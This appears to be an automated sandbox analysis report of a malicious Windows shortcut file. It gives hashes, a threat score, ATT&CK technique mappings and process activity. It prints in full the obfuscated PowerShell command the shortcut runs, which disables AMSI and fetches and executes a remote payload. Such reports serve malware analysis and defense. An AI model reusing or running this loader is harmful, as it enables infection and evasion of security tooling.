323c7a857915fa3b161360d792afa19a6e410811ec07d5d7e716ccf1720bd3d8

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 19:35

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General

Target

b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
Size

3KB
MD5

b4c1f7bca89ed610ae26479d56d43d76
SHA1

a4b927418eb49d2c566d036a762d6eb76ff9c166
SHA256

323c7a857915fa3b161360d792afa19a6e410811ec07d5d7e716ccf1720bd3d8
SHA512

becc704d5d31ed86a600a164a5396d6c21794ad6be50054f4f6f00324f3b29b90ff7a2db14b189b72c203a8401310b04cda456f454a3d44bb7e9a32fa3a87069

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2512	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2512	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 2512	1996	cmd.exe	31
PID 1996 wrote to memory of 2512	1996	cmd.exe	31
PID 1996 wrote to memory of 2512	1996	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -WindowStyle 1 $sw='HABRGGGCKJSCLRGIAZGNHDOKMZZHJTRCHOYBOEILVXKBXSUNTQIWFQQLBNNEKSHKHRHKMSGGYUNHQ';function lsbno($as){$kp=[Text.StringBuilder]::New();$hb=3;for($nx=0;$nx -lt $as.Length;$nx+=2){$lg=-join($as.Substring($nx,2)[1,0]);[void]$kp.Append([char]([System.Convert]::ToUInt16($lg,16)+$hb));};return $kp.ToString();};$cc=lsbno '0567071726A6B2A4E5B6E54626A626B617B2E32717C6A6E51766C6B6B2E3A607662517669607';$zy=lsbno 'E5A6076664B6661734E566962616';$yf=lsbno 'B4C6B6D427F5966606920517E5176606';try{[Ref].Assembly.GetType($cc).GetField($zy,$yf).SetValue($Null,$True)}catch{};;$gz='KKUAOIXVHNEAC';sal nt ($gz[5,10,6] -join(''));$rh=lsbno '561717D673C2C25666472717F6E51666B646B2C6F646C236669626F2A24353033323E263D223B2F566B6';$vr=[Net.WebRequest]::Create($rh);$ek=$vr.GetResponse();$vv=$ek.GetResponseStream();$yr=[IO.StreamReader]::New($vv);$ro=$yr.ReadToEnd() -replace '\r*\n','';nt((lsbno $ro));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2512-38-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2512-39-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2512-40-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/2512-41-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-43-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-42-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-44-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-45-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-46-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-47-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2512-48-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-49-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-50-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-51-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download